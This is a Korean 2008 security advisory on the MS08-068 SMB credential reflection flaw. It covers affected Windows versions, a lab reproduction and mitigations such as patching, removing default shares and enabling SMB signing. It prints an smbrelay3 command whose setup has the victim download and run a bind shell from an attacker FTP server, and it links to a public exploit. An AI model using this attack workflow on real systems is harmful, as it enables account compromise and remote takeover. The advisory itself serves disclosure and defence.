▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)
[A3AID08-03]
MS SMB Credential Reflection Vulnerability(MS08-068) 공격 보안 권고안
최초 발표일 : 2008. 11. 12
문서 작성일 : 2008.12.8
위험등급: 상
현재 상태(패치 여부) : 긴급
벤더: Microsoft Windows
대상 시스템 :
- Microsoft Windows 2000 SP4
- Microsoft Windows XP SP2, SP3
- Microsoft Windows XP Professional x64 Edition, SP2
- Microsoft Windows Server 2003 SP1, SP2
- Microsoft Windows Server 2003 SP1, SP2 for Itanium-based Systems
- Microsoft Windows Server 2003 x64 Edition, SP2
- 취약점 개요:
이 취약점은 사용자 시스템에서 공격자가 꾸며놓은 임의의 SMB 서버로 접속할 때 SMB의 NTLM 인증처리 과정에서 사용자의 인증을 이용하여 원격 코드실행 취약점이 존재합니다. SMB는 타 시스템의 파일이나 디렉토리 및 주변장치들을 공유하는데 사용되는 메시지 형식이며 NTLM은 SMB 프로토콜과 연동하여 사용되는 MS의 인증 관련 프로토콜 입니다. 현재 공격코드는 공개된 상황이며 해당 취약점을 이용하여 피해자의 시스템을 장악할 수 있었습니다. 단 테스트 결과 MS 가 내놓은 패치는 SMB-SMB 구간만 적용될 뿐 테스트한 HTTP-SMB 구간에 대한 패치는 이루어 지지 않았습니다.
- 심각도 및 취약점 확인
취약점 영향 MS Server Service Code Execution 비정상 실행 및 원격 코드 실행 중요
취약점 세부 분석 :
1. 취약점 내용
해당 취약점은 공격자의 컴퓨터로 들어오는 SMB 연결을 피해자의 자격증명과 함께 원격 실행 코드와 함께 돌려 보내는 것을 허용합니다. 그래서 “자격 증명 리플렉션” 이라고 불립니다. 해당 공격 코드는 공개된 상황이며 다음과 같은 사이트에서 제공을 합니다.
URL) http://www.milw0rm.com/exploits/7125
이 공격코드는 HTTP,POP3,SMTP,IMAP 프로토콜로 사용자에게 요청을 받을 수 있도록 짜여져 있습니다. 공격자는 4가지 형태의 프로토콜 중 피해자가 접속할만한 프로토콜로 접속요청이 오기를 기다립니다. 일반적으로 공격자는 HTTP 프로토콜로 Listening 하여 사용자에게 html 형식의 문서를 전송하여 사용자의 접속을 유도합니다.
피해자는 해당 html 문서를 열어보는 순간 자격 증명을 요구하는 대화상자를 띄우게 되고, 이렇게 받은 자격 증명을 공격자 서버에서는 그대로 피해자에게 원격 실행 코드와 함께 재전송하여 피해자의 시스템 권한을 획득 할 수 있게 됩니다.
2. 공격 분석
해당 공격 도구를 이용하여 테스트 환경인(vmware xppro_sp2)에서 공격을 시도하였습니다. 일반적인 공격 방법으로 공격자 쪽에서는 SMB 요청을 HTTP 프로토콜 형식으로 listening 하며 임의 포트를 부여합니다. 그리고 희생자 쪽의 SMB 요청을 리플렉션 이 되게끔 설정을 해주며 임의의 원격 실행은 공격자 측의 Bind Shell 프로그램을 다운 & 실행을 하게끔 ftp 서버를 설정합니다. 다음은 해당 공격코드를 실행하는 과정입니다.
Ex)smbrelay3.exe --ListForHTTPRequests—AlternativeSrcPort9898--SMBDestinationHost 192.168.150.128 --v --ftp 211.xxx.xxx.xxx 21 a3sc <password>
이렇게 공격자 측에서는 희생자가 SMB 메시지를 HTTP 형식으로 보내오길 기다립니다. 공격자는 사용자 접속을 유도하기 위하여 공격자 서버로 접속하는 a3sc.html 파일을 작성하여 희생자에게 전송을 합니다. 다음은 희생자
해당 파일을 읽어 드렸을 때의 상황입니다.
위 화면에서 희생자는 자신의 자격증명 을 위해 다이얼로그 창에 접속증명을 하는 순간 공격자 ftp 서버에서 smrs.exe 파일(Bind Shell)을 다운로드 및 실행 하게 됩니다. 다음은 희생자 측에서 8080 포트로 bind shell 이 listening 된 화면입니다.
다음은 telent을 이용하여 희생자 컴퓨터에 접속한 모습입니다.
3. 위험 분석
상기 취약점을 이용하면 필시 피해자 컴퓨터 시스템을 장악 할 수는 있으나 공격과정에 있어서 자동화 되어 있지 않으며 사용자 개입이 있을 때 이루어 집니다. 이것은 MS 에서 보안등급을 임의의 코드가 실행이 됨에도 불구하고 “중요” 등급으로 분류 한 것으로 판단이 됩니다.
또한 vista 나 윈도우 2008 서버에서는 해당취약점이 성공하기 위한 조건들이 보안정책에 의하여 막혀 있었습니다. 하지만 분명한 것은 취약점을 이용하여 시스템을 장악 할 수 있으므로 해당 패치를 실시 해야 하며 가급적 SMB 공유 설정을 금지 해야 합니다.
대응 방안:
1. 보안 대책
SMB Credential Reflection Vulenerability를 방지 하기 위해 다음 사이트에 방문하여 패치를 실시 하여야 한다. 다음은 XP_SP2 기준의 사이트이다.
http://www.microsoft.com/downloads/details.aspx?familyid=6f8ae0aa-fd68-4156-9016-bba00149793c&displaylang=ko
하지만 상기 패치는 윈도우 공유 자원 프로토콜에 대한 패치 일뿐 위에서 사용된 공격 코드에서 HTTP 프로토콜로 공격 하는 방식은 아직 패치가 되지 않았다. 즉 이번 MS 패치는 SMB 에 대한 reflection 패치 일뿐 다른 프로토콜에 대한 패치가 이루어 지지 않았다.
그래서 사용자는 우선 SMB 메시지 요청에 대한 방화벽 설정 뿐만 아니라 파일/프린터 공유 및 공유 폴더에 대한 네트워크 access에 각별히 신경을 써야 된다. 또한 원격사용자에 대한 특별한 권한이 필요 없을 경우 guest 인증 방식을 바꾸길 권고한다.
그렇게 되면 희생자 측 컴퓨터에서는 존재하는 로컬 계정을 입력이 불가할 뿐더러 guest 계정 권한으로 admin$,c$ 등과 같은 기본파일공유 자원에 접근이 제한이 된다. 물론 guest 계정은 기본적으로 비활성화가 되어 있기 때문에 guest 계정을 원천적으로 이용할 순 없다. 다음은 인증방식을 바꾸는 방법에 대한 설명이다.
다음과 같이 네트워크 인증을 할 때 기본적으로 guest 권한을 주는 방식도 있다. 제어판->관리도구->로컬보안설정->로컬정책->보안옵션->네트워크 액서스:로컬계정에 대한 공유 및 보안->일반-로컬 사용
또한 기본공유 자원에 대한 설정이 필요 없을 경우 커맨드 창 명령으로 net share 을 이용하여 해당 설정 값을 제거 하여 준다. 네트워크 접근을 할 때 default 로 제공되는 기본공유 파일이다. 이것을 제거 하여 주면 공격코드는 기본 공유 파일에다 악성 파일을 다운 & 실행이 되므로 공격은 무효화가 되 버린다.
다음과 같이 net share 중 ipc$ 를 삭제 하여 준다. 삭제 할 때 RPC 관련 서비스가 켜져 있으면 오류를 일으키므로 RPC 서비스를 중지한 다음 삭제 하여 준다.
마지막으로 SMB Singing 설정을 하여 준다. SMB은 윈도우에서 파일 엑세스 및 서버 접근시 사용되는 프로토콜로써 보안 인증을 다음 값을 통해 켜거나 끌수 있다..
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters
아래 키를 REG_DWORD 타입으로 추가/수정 한다.
EnableSecuritySignature = 1
RequireSecuritySignature = 1
이처럼 수정하였다면 SMB으로 접근시 보안 인증이 가능한 요청만 허용하기 때문에 man-in-the-middle 공격 등에 효과적으로 대처 할 수 있다. 이 방법을 이용할 경우 HTTP-SMB 간의 공격을 방어 할 수 있다.
2. 관련 사이트
본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.
http://www.microsoft.com/korea/technet/security/bulletin/ms08-068.mspx
http://nchovy.kr/forum/2/article/314
http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx\
http://milw0rm.com
http://www.xfocus.net/articles/200305/smbrelay.html
Copyright(c) 1998-2008 A3 Security ,LTD
Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.